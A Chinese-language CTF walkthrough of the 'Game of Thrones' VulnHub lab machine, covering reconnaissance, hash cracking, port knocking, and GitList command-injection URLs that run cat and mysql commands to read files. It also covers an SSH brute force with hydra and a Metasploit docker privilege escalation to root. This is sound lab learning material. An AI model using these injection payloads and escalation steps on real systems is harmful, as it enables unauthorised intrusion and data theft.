這個靶機還是比較有意思的,難度中等偏上。沖沖衝!!!
0x01
netdiscover -r 192.168.84.0/24
首先用discover命令發現靶機ip地址。
很明顯靶機ip地址爲 192.168.84.133
0x02
nmap -A 192.168.84.133
掃描一下
0x03
發現80端口開啓,我們去看一看。
這裏面給了一些靶機的信息,大致說了一些基本信息,還告訴我們,如果遇到瓶頸了,要回頭看看這些內容。
那我們先掃描一下web目錄吧
dirb http://192.168.84.133
結果如下
首先訪問一下robots.txt
打開http://192.168.84.133/secret-island 發現圖片下面有一個鏈接
點進去看一哈
這個很重要,告訴我們7個flag的位置,並且給出了對應的服務。
再打開/direct-access-to-kings-landing/
就一張普通pic,查看一下源代碼,也沒有什麼有價值的東西。
繼續打開 /the-tree/ ,查看源代碼,發現了一個有意思的東西
我們要修改一下 UA
然後放行,查看源碼發現如下
讓我們記住這三個數字 3478 64535 12345
那就先放這
0x04
我們看看還有什麼目錄,這個http://192.168.84.133/h/i/d/d/e/n/ 目錄進去康康。查看源代碼
根據之前這張地圖,我們可以猜測密碼就是A_verySmallManCanCastAVeryLargeShad0w
那我們連接一下,用戶名並沒有告訴我們,但是看過權力的遊戲的人都知道,dorne的領主是:oberynmartell,猜測用戶名是這一個。
成功登錄,得到了第一個flag,flag{fb8d98be1265dd88bac522e1b2182140},並且有兩個文件,去訪問一下。
ftp://192.168.84.133/problems_in_the_north.txt
輸入用戶名和密碼後,
這個加密過了,我們需要解密一下。
使用hashcat,但是我在hashcat並沒有找到這個模式,然後去搜索了一下,發現在以前的版本有。
github鏈接 https://github.com/attackdebris/hashcat-2.0/blob/master/hashcat-2.00.7z
gunzip /usr/share/wordlists/rockyou.txt.gz
echo "6000e084bf18c302eae4559d48cb520c:2hY68a" > 1.hash
注意這裏中間用 : 隔開 ./hashcat-cli32.bin -m 3610 -a 0 …/1.hash /usr/share/wordlists/rockyou.txt
得到結果 stark
另一個文件 cat一下
我們用mcrypt 解密一下,passphrase輸入上面解密的得到的結果stark.
0x05
我們找到了這個域,我們得把這個域添加到/etc/hosts裏面
然後去訪問,密碼就輸入上面解密出來的。
有兩張圖片,查看一下源代碼,oh,第二個flag到手
flag{639bae9ac6b3e1a84cebb7b403297b79}。
還有一個意外驚喜,平時我看到jpg後綴的圖片都喜歡strings一下,看看有沒有什麼隱藏內容,這一個北境旗標竟然有隱寫,
Timef0rconqu3rs TeXT should be asked to enter into the Iron Islands fortress" - Theon Greyjoy
這個好像在暗示我們TXT記錄有東西,我們nslookup一下。(這次中科大的ctf中就有考這一個知識點)
第三個flag{5e93de3efa544e85dcd6311732d28f95}。
讓我們去這個網址http://stormlands.7kingdoms.ctf:10000 用戶名,密碼,也都給出來了。
0x06
我們繼續修改/etc/hosts的內容,然後去訪問這個網址
search隨便填了些東西,發現有文件管理,但是瀏覽器要支持java
發現chrome,firefox都不行,用ie瀏覽器的時候,告訴我們可以下載
那就下一下吧,下載完之後,打開控制面板,然後點擊程序,點擊java,添加。
發現在home目錄下,有flag,第四個flag{8fc42c6ddf9966db3b09e84365034357}
同時給出了下一關的提示。
0x07
上面給出了db,那就和數據庫有關了,看一下之前nmap的掃描結果,5432端口是開着的,運行着postgresql,我們連上去看一下。
發現了flag表,base64解密一下,結果爲,
Nice! you conquered the Kingdom of the Mountain and the Vale. This is your flag: bb3aec0fdcdbc2974890f805c585d432. Next stop the Kingdom of the Reach. You can identify yourself with this user/pass combination: [email protected]/H1gh.Gard3n.powah , but first you must be able to open the gates
第五個flag,flag{bb3aec0fdcdbc2974890f805c585d432}
我們接着看看數據庫裏面有什麼東西
搜索第一個表
搜索第二個表
這個最後一行看起來怪怪的,嘗試一下解密
解出來的數據是
The many-faced god wants you to change your face. He wants you to identify as one of your kill list. Select it based on this book’s lost page number. The database to connect will be braavos and your password will be: ValarMorghulis
給出了一個密碼,那麼猜測上面那些名字其中一個就是用戶名,一個一個嘗試了發現TheRedWomanMelisandre是用戶名。
登上去看看
成功找到第六個flag,secret flag{3f82c41a70a8b0cfec9052252d9fd721}
0x08
我們已經到了地圖上的第六關了,imap。
但是nmap掃描結果,imap並沒有開啓。到了這邊思考了好久,然後查了資料才發現有knock這個工具
學習了,學習了。
那這邊的數字肯定就是我們剛開始的時候,發現的那三個數字了。
apt-get install knockd 安裝一下,
然後執行如下命令
knock 192.168.84.133 3487 64535 12345
一次可能沒有反應,我敲了很多很多次,纔有反應,哭唧唧。
nmap 掃描一下,發現143端口開下來了
nc過去(用戶名密碼在第五個flag那邊)
輸入紅色箭頭指的命令
這裏執行命令的時候要注意先在前面加一個字符比如:
~ LIST “” “"
? LIST “” "”
接下來我們查看裏面郵件內容
~ SELECT INBOX
~ FETCH 1 body[text]
找到了第七個flag{aee750c2009723355e2ac57564f9c3db}
並給出了1337端口的用戶名和密碼
User: TywinLannister
Pass: LannisterN3verDie!
0x09
訪問一下這個網站,看了一下,發現
casterly-rock/note_under_the_bed.md 裏面有東西,16進制字符串,解碼一下,得到/home/tyrionlannister/checkpoint.txt
猜測這邊肯定有什麼漏洞,搜索一下gitlist的漏洞,發現有一個命令注入的漏洞,payload如下:
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60cat%20/home/tyrionlannister/checkpoint.txt%60/
返回結果如下
要我們去連接這個數據庫,那我們還是在這裏繼續連接數據庫
查表
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=%22show%20tables;%22%60/
獲取內容
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=%22select%20%20from%20iron_throne;%22%60/*
沒什麼東西,但是它告訴我們,You still have some privileges on this kingdom。
查看一下我們有什麼權限
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=%22show%20grants;%22%60/
發現我們有select,insert,create權限,因此我們可以構造一個表,然後把flag內容放到表中,然後在讀取出來。
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=“CREATE TABLE test(george varchar(10000));”%60/
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=“LOAD data infile’/etc/mysql/flag’ into table test;”%60/
http://192.168.84.133:1337/casterly-rock/tree/master/%E2%80%9D%E2%80%9D%60mysql%20-h%20192.168.84.133%20-u%20cerseilannister%20-p_g0dsHaveNoMercy_%20-D%20kingslanding%20–execute=“select * from test;”%60/
可以看到我們已經讀取成功了!
第八個flag{c8d46d341bea4fd5bff866a65ff8aea9},並且給了我們ssh的用戶名和密碼
Ssh user-pass: daenerystargaryen-.Dracarys4thewin.
0x0a
連上去康康
發現兩個文件,大概意思是讓我們用root身份去登陸,密碼就在下面這個txt裏面,要我們去跑一下。
那這個就很簡單了,直接用工具跑一下就行了。我們先用MobaXterm,把這個文件下下來。
命令如下:hydra -l root -P digger.txt -vV -t 50
然後發現沒有結果,不太可能啊,再仔細一想,之前ssh上去好像給了一段話,說只有從這才能到那。
我們將其綁定到我們這邊的6666端口,可以看到已經成功了。
hydra -l root -P …/digger.txt ssh://127.0.0.1:6666
開始爆破
密碼爲 Dr4g0nGl4ss!
我們登上去看一看,成功得到第九個flag,secret flag{a8db1d82db78ed452ba0882fb9554fc9}
其中他又給了一個ssh賬號和密碼
Host’s ssh:
branstark/Th3_Thr33_Ey3d_Raven
連上去看看
要我們成爲root,看了好半天沒發現什麼漏洞,最後輸入id命令,發現了蹊蹺。
這邊爲什麼會有一個docker呢這就很奇怪了,去搜索了一下資料。發現還真有一個洞可以打,鏈接地址https://www.exploit-db.com/exploits/40394。
直接msf,突突突。
msfconsole
use auxiliary/scanner/ssh/ssh_login
show options
set username branstark
set password Th3_Thr33_Ey3d_Raven
set rhosts 192.168.84.133
run
成功得到session
use linux/local/docker_daemon_privilege_escalation set session 1 run
成功 登陸了上去,cat一下checkpoint.txt,發現要我們拼接這個密碼,要三個secret flag
我們已經找到了2個secret flag,但是還有一個flag在哪呢,找了很久都沒有找到,最後回到起點,看一下源碼的提示。
其中有一句話有點意思 Everything can be TAGGED in this world, even the magic or the music
會不會有音頻隱寫???試一試
將這個mp3文件,wav文件,下載下來看看。
嘗試了一些後,發現了flag
第十個flag secret flag{8bf8854bebe108183caeb845c7676ae4}
那這個就是第一個secret flag了
secret1 flag{8bf8854bebe108183caeb845c7676ae4} secret2 flag{3f82c41a70a8b0cfec9052252d9fd721} secret3 flag{a8db1d82db78ed452ba0882fb9554fc9}
根據他給的代碼我們拼接一下
flag1 = "8bf8854bebe108183caeb845c7676ae4"
flag2 = "3f82c41a70a8b0cfec9052252d9fd721"
flag3 = "a8db1d82db78ed452ba0882fb9554fc9"
a = flag1[22:]
b = flag2[22:]
c = flag3[22:]
passwd = a+b+c
print(passwd) #45c7676ae4252d9fd7212fb9554fc9
那這個去解壓final_battle。
得到第十一個flag ,flag{8e63dcd86ef9574181a9b6184ed3dde5}
參考鏈接:https://blog.vonhewitt.com/2017/11/game-thrones-ctf-1-vulnhub-writeup/
https://chopx00.blogspot.com/2017/10/vulnhub-game-of-thrones-1-ctf-vm.html